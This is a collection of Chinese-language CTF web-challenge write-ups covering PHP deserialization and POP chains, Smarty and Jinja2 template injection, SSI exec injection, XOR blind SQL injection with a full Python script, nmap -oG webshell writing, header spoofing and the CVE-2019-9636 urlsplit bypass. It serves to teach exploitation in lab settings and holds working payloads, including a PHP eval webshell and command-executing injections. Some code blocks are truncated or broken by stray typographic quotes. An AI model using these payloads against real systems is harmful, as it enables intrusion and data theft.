php动态函数及反序列化

php动态函数及反序列化

打开页面源码,发现有一个可疑的php文件,然后打开,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


php动态函数

格式:

1
$a=system&$b=ls;$a($b);

而这里也是用了php动态函数的原理,然后我是想构造一个eval()函数的,发现不行,报错

1
PHP Fatal error:  Call to undefined function eval() in

而查了官方文档后可知:eval属于PHP语法构造的一部分,并不是一个函数,所以不能通过变量函数的形式来调用它,而这种语法构造的还有:echo、print、unset()、isset()、empty()、include、require等

1
2
3
而system函数又被禁止了,所以我们可以使用assert()函数

assert()

作用:检查一个断言是否为false

注意:在php版本5到php版本7,assert()函数会将字符串当作是php代码执行

1
2

所以我们可以构造exp
a = "phpinfo()"; $this->b = "assert"; } public function __destruct(){ $a = $this->a; $b = $this->b; } } $c = new HelloPhp(); echo serialize($c);
1
2
3
然后get提交就好

魔术方法
__contruct()--------------------在类的对象实例化时被调用 __destruct()--------------------在类的对象被销毁之前被调用 ``` 在题目中是在die(0)在退出脚本时调用了__destruct()魔术方法

smarty模板及X-Forwarded-For

smarty模板及X-Forwarded-For

打开页面,我们看见X-Forwared-For这个提示,所以我们可以想到可能是smarty模板注入,因为X-Forwared-For是用smarty模板引擎解析的,所以我们可以抓包,然后构造

1
X-Forwared-For: {7*7}

发现它返回了

1
Client ip: 49

所以存在smarty模板漏洞,所以我们可以再构造

1
X-Forwared-For: {$smarty.version}

来查看smarty的版本,发现是3.1.3版本,我们可以使用{if }{/if}标签来注入,所以我们可以构造

1
X-Forwared-For: {if system('ls')}{/if}

来查当前的文件,然后用

1
X-Forwared-For: {if system('cat /index.php)}{/if}

来读取文件,然后我们只需要找到flag所在文件夹即可

详细可以看我的smarty模板漏洞或各类模板漏洞那两篇

shtml之SSI漏洞

shtml之SSI漏洞

shtml

1
shtml不是HTML,而是一种服务器的API,shtml也是服务器动态产城的html,且是一种基于SSI技术的文件

SSI

1
SSI是服务端包含注入,允许远程在web应用中注入脚本来执行代码,即SSI是嵌入HTML页面的指令,可以在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,无需通过CGI程序提供其整个页面。

启动SSI

Apache默认是不开启SSI,SSI这种技术比较少用,可以手动关闭服务器对SSI的支持,而如果想要使用SSI功能,则可以在Nginx配置SSI功能,即在Nginx配置文件中的http端加入下面几句

1
2
3
ssi on;
ssi_silent_errors off;
ssi_types text/shtml

SSI语法

在SHTML文件中使用SSI指令引用其它的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端

显示服务端环境变量<#echo>

显示本文档的名称

1
<!--#echo var="DOCUMENT_NAME"-->

显示现在时间

1
<!--#echo var="DATE_LOCAL"-->

显示ip地址

1
<!--#echo var="REMOTE_ADDR"-->

将文本内容直接插入到文档中<#include>

1
2
3
4
5
6
7
<!--#include file="文件名称"-->

<!--#include virtual="index.html"-->

<!--#include virtual="文件名称"-->

<!--#include virtual="/www/footer.html"-->

注意:file包含文件要在同一级目录或其子目录,但不能在上一级目录中,而virtual包含文件可以是web站点上的虚拟目录的完整路径

显示WEB文档相关信息<#flastmod><#fsize>

文件最近更新日期

1
<!--#flastmod file="文件名称"-->

文件长度

1
<!--#fsize file="文件名称"-->

直接执行服务器上的各种程序<#exec>(如CGI程序或命令行程序等其他可执行程序)

扫描当前目录

1
<!--#exec cmd="ls"-->

查看当前目录

1
<!--#exec cmd="pwd"-->

查看当前文件

1
<!--#exec cmd="cat /etc/flag"-->

查找文件名叫flag**的位置

1
<!--exec cmd="find / -type f -name flag*"-->

或者是GUI程序

1
2
3
<!--exec cgi="文件名称"-->

<!--#exec cgi="/cgi-bin/access_log.cgi"-->

注意:这个SSI指令是将某一外部程序的输出插入到页面中,可插入CGI程序或常规应用程序的输入,而这里的cmd参数则是插入命令行程序的输入,而cgi参数则是插入CGI程序的输入

设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

高级SSI可设置变量使用if条件语句

SSI注入条件

页面只有一小部分是动态输出的时候使用SSI的,如

1
2
3
4
5
6
7
文件相关的属性字段

当前时间

访问ip

调用CGI程序

条件

1
2
3
4
5
WEB服务器已经支持SSI(服务端包含)

WEB应用程序未对相关的SSI关键词进行过滤

WEB应用程序在返回HTML页面时,嵌入用户输入

注意:而要判断是否是SSI漏洞,可以看一下有没有.stm文件或.shtml文件

实例

当我们可看见页面后,用dirsearch扫描,发现有index.php.swp泄露,所以访问index.php.swp文件,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

从源码中我们看到get_hash()是用来生成文件名的,而看到文件类型为shtml,可以猜测可能是SSI漏洞,但是我们需要经过

1
if ( $admin == substr(md5($_POST['password']),0,6)) 

但是password是固定的,因为

1
$admin = '6d0bc1';

所以我们可以写一个exp

1
2
3
4
5
6
7
8
import hashlib

for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if a[0:6] == '6d0bc1':
print(i)
print(a)

所以password=6d0bc1153791aa2b4e18b4f344f26ab4,绕过if

而这行代码可知

1
2
3
4
5
6
7
8
9
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);

可以猜测username的值会写入到shtml文件中,所以可以写入SSI指令来读取信息,所以构造

1
username=<!--exec cmd="ls"-->&password=6d0bc1153791aa2b4e18b4f344f26ab4

来查看当前目录,然后构造

1
username=<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->&password=6d0bc1153791aa2b4e18b4f344f26ab4

读取flag文件

详细请看:https://blog.csdn.net/qq_40657585/article/details/84260844

异或加盲注

异或加盲注

打开页面,然后发现登录窗口,所以我们尝试使用sql注入,但是发现好像都被过滤了,所以我们尝试用dirsearch扫描,发现有一个search.php文件,然后构造

1
/search.php?id=1

发现出现NO! Not this! Click others~~~,然后判断是数字型闭合,然后fuzz,发现^没有被过滤,然后构造

1
/search.php?id=1^1^1

发现也显示NO! Not this! Click others~~~,所以我们可以使用盲注,所以我们可以写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
import time

host = "http://04fec7d8-032c-4e8d-9ced-28b6c8c24ddb.node4.buuoj.cn:81/search.php?"

def getDatabase(): #获取数据库名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)

def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)

def getColumn(): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)

def dumpTable():#脱裤
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)

getDatabase()
dumpTable()

可以得出flag

pop链构造1

pop链构造1

打开页面后,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

其中有几个魔术方法,所以可能是pop链的构造

1
2
3
4
5
__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:从不可访问的属性中读取数据会触发

从代码中,我们可以看见一个include()包含的函数,因此,我们需要想办法使用这个函数帮我们读取文件,而要使用include()函数,我们需要调用Modifier类中的append()方法,而要调用Modifier类中的append()方法,我们需要调用Modifier类中的__invoke()魔术方法,而要调用__invoke()魔术方法,要将类的对象被调用为函数,所以我们可以看见Test类中的__get()方法中的代码

1
2
$function=$this->p;
return $function();

我们可以构造$this->p=new Modifier();来调用__invoke()方法,而这其中需要调用__get()方法,而调用__get()方法,需要从不可访问的属性中读取数据时会触发,所以我们可以想到Show类的__toString()方法,其中的代码

1
return $this->str->source;

所以我们可以构造$this->str=new Test();来触发__get方法,而要触发__toString()方法,要在类的对象被当作字符串操作时,所以我们可以看到__wakeup()魔术方法中的

1
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))

所以我们可以构造$this->source=new Show();

所以我们可以构造exp,但是我们要在Show类中让$this->source为Show类的话,我们最后还需要用到__contruct()魔术方法

1
2
3
$a=new Show('s');  #就会触发__contruct()魔术方法,且将s作为__contruct()的参数

因此,链条为

include()–>append()–>_invoke()–>__get()–>__toString()–>__wakeup()–>unserialize()

1
所以我们构造exp

Welcome to index.php
<?php
//flag is in flag.php

class Modifier {
protected $var=”php://filter/read=convert.base64-encode/resource=flag.php”;

}

class Show{
public $source;
public $str;
public function __construct($file=’index.php’){
$this->source = $file;
}
public function __toString(){
$this->str=new Test();
}

public function __wakeup(){
    $this->source=new Show();
}

}

class Test{
public $p;

public function __get($key){
    $this->p=new Modifier();
}

}

$a=new Show();
$b=new Show($a)
$a->str=new Test();
$a->str->p=new Modifier();

echo urlencode(serialize($b));
?>

1
然后对代码的详细解析

Welcome to index.php
<?php
//flag is in flag.php //提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!

class Modifier { //类,Modifier
protected $var; //保护属性,$var
public function append($value){ //自定义方法,append($value)
include($value); //文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容
}
public function __invoke(){ //__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
$this->append($this->var); //把保护属性$var传入自定义方法append($value),执行一次
}
}
//很明显:
//这里我们要想执行文件包含flag.php,那么就要调用append($value)方法
//这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法
//这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数
//这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php://filter………………..[省略]

class Show{ //类,Show
public $source; //公有属性,$source
public $str; //公有属性,$str
public function __construct($file=’index.php’){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->source = $file; //给$this->source属性赋值$file
echo ‘Welcome to ‘.$this->source.”
“; //打印字符串
}
public function __toString(){ //__toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用
return $this->str->source; //返回,str属性值的source属性
}

public function __wakeup(){                            //__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {    //正则匹配source属性的值
        echo "hacker";
        $this->source = "index.php";                //source属性赋值为index.php
    }
}

}
//很明显:
//__toString()魔术方法,有以下特征“$this->str->source”
//所以说,我们可以给str属性赋值为Test类的对象,那么由于该对象没有source属性,那么就会调用Test类的__get()魔术方法
//那么想要调用__toString魔术方法,就需要Show类的对象被当作字符串操作
//很明显,我们的__wakeup()魔术方法,里面有source属性被当作字符串去比较,所以我们可以给source属性赋值为Show属性的对象
//所以只要,我们可以利用反序列化,调用__wake()魔术方法,且source赋值为该类的对象,str属性赋值为Test类的对象即可

class Test{ //类,Test
public $p; //公有属性,$p
public function __construct(){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->p = array(); //属性$p初始化为数组
}

public function __get($key){                        //__get()魔术方法,访问该类中不可访问的属性,自动被调用
    $function = $this->p;                            //属性$this->p赋值给$function
    return $function();                                //把$function调用为$function()函数
}

}
//很明显:
//这里的属性$p可以触发,__invoke()魔术方法,所以只要给$p赋值为Modifier类的对象即可

if(isset($_GET[‘pop’])){
@unserialize($_GET[‘pop’]);
}
else{
$a=new Show;
highlight_file(FILE);
}

```
最后会回显base64码

绕过数组长度的反序列化

绕过数组长度的反序列化

strlen()

1
2
3
4
5
作用:如果成功则返回字符串的长度,如果字符串为空则返回0

适合版本:php4+

注意:在php 5.3.0之前,该函数将数组当作字符串,因此返回的长度为5,并产生一个E_NOTICE级别错误,但是之后版本的php,遇到数组会返回null

打开页面,我们可以看见登陆页面,此时我们可能会习惯性的sql注入,但发现不行,然后我们根据经验,猜测会有注册界面,而登录界面一般是register.php,所以构造

1
/register.php

发现注册界面,所以我们注册并登录,发现有信息填写,所以我们可以想想是不是源码泄露,所以可以用dirsearch扫描,但要控制线程,不要太快,发现www.zip泄露

得到源码后,我们先看updata.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

看见代码

1
2
3
4
5
6
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

可知会限制nickname输入的长度,且将输入的信息进行序列化,然后我们再用全局搜索class.php搜索updata_profile()函数

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

发现输入的序列化的信息会经过filter()函数进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

这个函数会将输入的select、insert、update、delete、where变为hacker,然后我们再看profile.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

这里会将输入信息进行反序列化,并用file_get_contents()函数进行读取photo参数的值,所以我们可以利用反序列化逃逸,但是nickname有长度的限制,所以我们可以利用上面strlen()的漏洞来构造数组绕过,所以我们可以构造

1
";}s:5:"photo";s:10:"config.php";}

来读取config.php文件,但是在反序列化的时候,它会按照长度来取值,所以我们可以利用filter中如果输入的是where会替换成hacker,会多出一个字符,所以我们可以构造

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

作为输入,不过在本地测试时,发现构造输入时会多出一个;},可能因为在序列化数组时,不会像字符串一样闭合,所以多出一个;},但是不影响,因为;}是分隔符,会将后面的字符串忽略掉

nmap特性

nmap命令执行

打开页面后,我们可以看见nmap,然后又看见是扫描ip的,所以我们可以知道它是使用nmap来扫描局域网内的ip地址的,而nmap命令有个可以创建并写代码的命令

可以构造

1
'<?php @eval($_POST["hack']);?> -oG hack.php'

来创建一个hack.php文件并在文件中写上

1
<?php @eval($_POST["hack"]);?>

然后访问

1
http://url/hack.php

即可以访问hack.php文件

但是这里php被过滤掉了,所以我们可以使用phtml文件,可以构造

1
'<?=@eval($_POST["hack"]);?> -oG hack.phtml'

然后访问hack.phtml文件

1
http://url/hack.phtml

此时我们可以利用蚁剑连接就行

这个可以和“escapeshellarg和escapeshellcmd函数重过滤绕过”这一篇文章结合着看

XXF构造

XXF构造

X-Forwarded-For

1
X-Forwarded-For是一个http扩展头部,它是用来表示http请求端真实ip的,现在它已成为RFC 7239标准中

client-ip

1
client-ip和X-Forwarded-For的功能相似,不过它是有使用的,不过它没有形成标准,所以不一定所有服务器可以实现

但我们打开页面后,发现要验证码才能读flag,不过我们再打开页面源码,发现有一段前端验证的js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>

function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

</script>

思路是输入的验证码经过md5加密后,是等于0cd4da0223c0b280829dc3ea458d655c,所以进行md5解密就可以得到验证码,但发现不行,怀疑有后端验证,然后用工具去扫描,发现有flag.php文件,然后构造payload

1
http://url/flag.php

发现没有flag,只有叫我们再去验证的界面,不过有一句话让人深思,就是

1
验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag

可知,我们可以抓包后,构造X-Forwarded-For来让服务端将我们的主机当成本地,所以构造

1
X-Forwarded-For: 127.0.0.1

就可以得到flag

urlsplit 不处理 NFKC 标准化(CVE-2019-9636)

urlsplit 不处理 NFKC 标准化(CVE-2019-9636)

漏洞的原理:因为unicode编码处理不当产生的,即经过特殊制作的url可能会被错误解析以定位cookie或身份验证数据,并将该信息发送到与正确解析时不同的主机

影响版本:python 2.7.x至2.7.16和3.x至3.7.2

打开页面后,我们可以看见python写的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #解析出主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1] #再次解析主机名
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'): #对www.example.com按.划分,先按idna编码,再utf-8解码
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost) #组合好解码后的主机名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname #解析出主机名,要等于suctf.cc
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

这是不完整的源码,我们可以在github上下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from flask import Flask, Blueprint, request, Response, escape ,render_template

from urllib.parse import urlsplit, urlunsplit, unquote

from urllib import parse

import urllib.request

app = Flask(__name__)

# Index

@app.route('/', methods=['GET'])

def app_index():

return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])//这以上就是声明一些路由和传参方式没什么太大的用处

def getUrl():

url = request.args.get("url")//接收传进来的url

host = parse.urlparse(url).hostname//主要是用于解析url中的参数 对url按照一定格式进行 拆分或拼接

if host == 'suctf.cc':

return "我扌 your problem? 111"

parts = list(urlsplit(url))

host = parts[1]

if host == 'suctf.cc':

return "我扌 your problem? 222 " + host

newhost = []//以上两个if判断就是检测传进来的是不是suctf.cc',如果是就报错

for h in host.split('.'):

newhost.append(h.encode('idna').decode('utf-8'))

parts[1] = '.'.join(newhost)

#去掉 url 中的空格

finalUrl = urlunsplit(parts).split(' ')[0]

host = parse.urlparse(finalUrl).hostname

if host == 'suctf.cc'://这里判断到如果为suctf.cc就可以执行读操作

return urllib.request.urlopen(finalUrl, timeout=2).read()

else:

return "我扌 your problem? 333"

if __name__ == "__main__":

app.run(host='0.0.0.0', port=80)

其中代码

1
request.args.get("url")

意思是获取get提交的url参数的值

而这行代码

1
parse.urlparse(url).hostname

意思是获取url中的域名

parse.urlparse()

用于获取网址中的网络协议、域名、文件存放路径、查询字符、可选参数以及拆分文档

代码示例:

1
2
3
4
5
6
7
8
9
10
from urllib import parse
url = 'https://www.baidu.com/s;index.php?tn=78040160_14_pg&ch=16#1'

result = parse.urlparse(url)
print('scheme:',result.scheme) #网络协议
print('netloc:',result.netloc) #域名
print('path:',result.path) #文件存放路径
print('query:',result.query) #查询字符
print('params:',result.params) #可选参数
print('fragment:',result.fragment) #拆分文档中的特殊猫

而代码

1
list(urlsplit(url))

意思是拆分url,并以数组的形式存储起来

代码

1
2
3
4
5
for h in host.split('.'):

newhost.append(h.encode('idna').decode('utf-8'))

parts[1] = '.'.join(newhost)

将host中的”.”给去除掉,并将host拆分为一个一个字符进行idna编码和utf-8解码,而后又给数组中的元素用”.”连接起来,而这里就是漏洞的存在,我们可以构造有特殊字符的url,来绕过过滤,到达我们想访问的地方。

而后会再经过一层过滤后,便可以使用urllib.request.urlopen()来读取文件

同时我们打开页面源码,我们可以看见nginx的提示,而nginx文件时重要配置文件,里面有许多重要信息

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

而我们想要读取就要绕过前两层的suctf.cc,第三层域名要等于suctf.cc,所以我们可以使用这个漏洞进行绕过,有两种方式

第一种

使用℆ 字符进行绕过,在进行idna编码和utf-8解码时,会将℆ 转换为c/u,所以我们可以构造paylaod

1
/getUrl?url=file://suctf.c℆ sr/local/nginx/conf/nginx.conf

来看配置文件所在地,然后找到flag所在文件后,构造payload

1
file://suctf.c℆sr/fffffflag

第二种方法

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

来生成不同的c来绕过前两层的suctf.cc的判断,可以构造payload

1
/getUrl?url=file://suctf.cC/usr/local/nginx/conf/nginx.conf

来读取配置文件信息,发现flag所在位置后,用payload

1
?/getUrl?url=file://suctf.cC/usr/fffffflag

flask之jinja2模板注入读取config文件

flask之jinja模板注入

打开页面,我们可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

我们可以看见一个函数

1
flask.render_template_string()

可知是模板注入,同时我们看见

1
@app.route('/shrine/<path:shrine>')

可以猜测注入点在/shrine/后面,因此我们可以构造payload

1
/shrine/{{7*7}}

发现返回了49,可以确定这里是注入点,然后我们再看一行代码

1
app.config['FLAG'] = os.environ.pop('FLAG')

可以知道,在config文件中有flag的存在,而config文件是flask的全局变量,包含了所有应用程序的配置的信息,如:数据库链接字符串、连接第三方的凭证、SECRET_KEY等敏感值等

但是源码中不仅过滤了(和),而且还将config和self加入了黑名单,所以我们不能直接构造读取config信息,不过可以使用url_for()函数或get_flashed_messages()函数读取全局变量[‘current_app’],而[‘current_app’]是指当前app,里面包含config

可以使用以下代码,对过滤进行展示

1
2
3
4
5
6
7
8
9
10
import flask
import os

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

if __name__ == '__main__':
print(safe_jinja("{{7*7}}"))

url_for

1
2
3
作用:
1. 给指定的函数构造url
2. 访问静态文件

get_flashed_message()

1
返回之前在flask中通过flash()传入的闪现信息列表,把字符串对象表示的消息加入到一个消息列中,然后调用get_flashed_message()方法取出(闪现信息只可以取一次,而闪现信息中包含['current_app']

然后我们可以先构造

1
/shrine/{{url_for.__globals__}}

得到所有的全局变量的信息,然后按ctrl+F来读取current_app,发现有,则直接构造

1
/shrine/{{url_for.__globals__['current_app'].config}}

或者按上面的方式,使用get_flashed_messages()函数来读取

1
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

其实思路就是,由于过滤,无法直接使用来读取config,则直接说详细一点,读取当前应用程序下的config